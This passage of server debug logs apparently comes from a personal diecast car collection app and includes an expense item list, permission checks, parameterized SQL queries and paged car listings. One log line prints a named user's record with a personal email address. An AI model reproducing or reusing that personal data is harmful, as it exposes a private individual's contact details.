  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:54:08.079Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:54:08.080Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:54:08.081Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:54:08.082Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:54:08.082Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:54:08.082Z server-connect:app Executing action step identify
2026-02-04T10:54:08.082Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:08.082Z server-connect:output identity: 1
2026-02-04T10:54:08.082Z server-connect:app Executing action step restrict
2026-02-04T10:54:08.082Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:08.083Z server-connect:app Executing action step identify
2026-02-04T10:54:08.083Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:08.083Z server-connect:output identity: 1
2026-02-04T10:54:08.083Z server-connect:app Executing action step restrict
2026-02-04T10:54:08.083Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:08.084Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:54:08.084Z server-connect:app Executing action step identify
2026-02-04T10:54:08.084Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:08.084Z server-connect:output identity: 1
2026-02-04T10:54:08.084Z server-connect:app Executing action step restrict
2026-02-04T10:54:08.084Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:08.084Z server-connect:app Executing action step identify
2026-02-04T10:54:08.084Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:08.084Z server-connect:output identity: 1
2026-02-04T10:54:08.084Z server-connect:app Executing action step restrict
2026-02-04T10:54:08.084Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:08.085Z server-connect:output restrict: undefined
2026-02-04T10:54:08.085Z server-connect:app Executing action step select
2026-02-04T10:54:08.085Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:54:08.086Z server-connect:output restrict: undefined
2026-02-04T10:54:08.086Z server-connect:app Executing action step single
2026-02-04T10:54:08.086Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:54:08.086Z server-connect:output restrict: undefined
2026-02-04T10:54:08.086Z server-connect:app Executing action step select
2026-02-04T10:54:08.086Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:54:08.086Z server-connect:app Executing action step identify
2026-02-04T10:54:08.086Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:08.086Z server-connect:output identity: 1
2026-02-04T10:54:08.086Z server-connect:app Executing action step restrict
2026-02-04T10:54:08.086Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:08.088Z server-connect:output restrict: undefined
2026-02-04T10:54:08.088Z server-connect:app Executing action step select
2026-02-04T10:54:08.088Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:54:08.088Z server-connect:app Executing action step identify
2026-02-04T10:54:08.088Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:08.089Z server-connect:output identity: 1
2026-02-04T10:54:08.089Z server-connect:app Executing action step restrict
2026-02-04T10:54:08.089Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:08.090Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:54:08.091Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:54:08.092Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:54:08.092Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:54:08.092Z server-connect:app Executing action step select
2026-02-04T10:54:08.093Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:54:08.093Z server-connect:output restrict: undefined
2026-02-04T10:54:08.093Z server-connect:app Executing action step select
2026-02-04T10:54:08.093Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:54:08.093Z server-connect:output restrict: undefined
2026-02-04T10:54:08.093Z server-connect:app Executing action step paged
2026-02-04T10:54:08.094Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:54:08.096Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:54:08.097Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:54:08.097Z server-connect:app Executing action step select
2026-02-04T10:54:08.097Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:54:08.100Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:54:08.100Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:54:38.361Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:54:38.361Z server-connect:app Executing action step identify
2026-02-04T10:54:38.361Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:38.361Z server-connect:output identity: 1
2026-02-04T10:54:38.361Z server-connect:app Executing action step restrict
2026-02-04T10:54:38.361Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:38.362Z server-connect:output restrict: undefined
2026-02-04T10:54:38.362Z server-connect:app Executing action step paged
2026-02-04T10:54:38.362Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:54:38.363Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
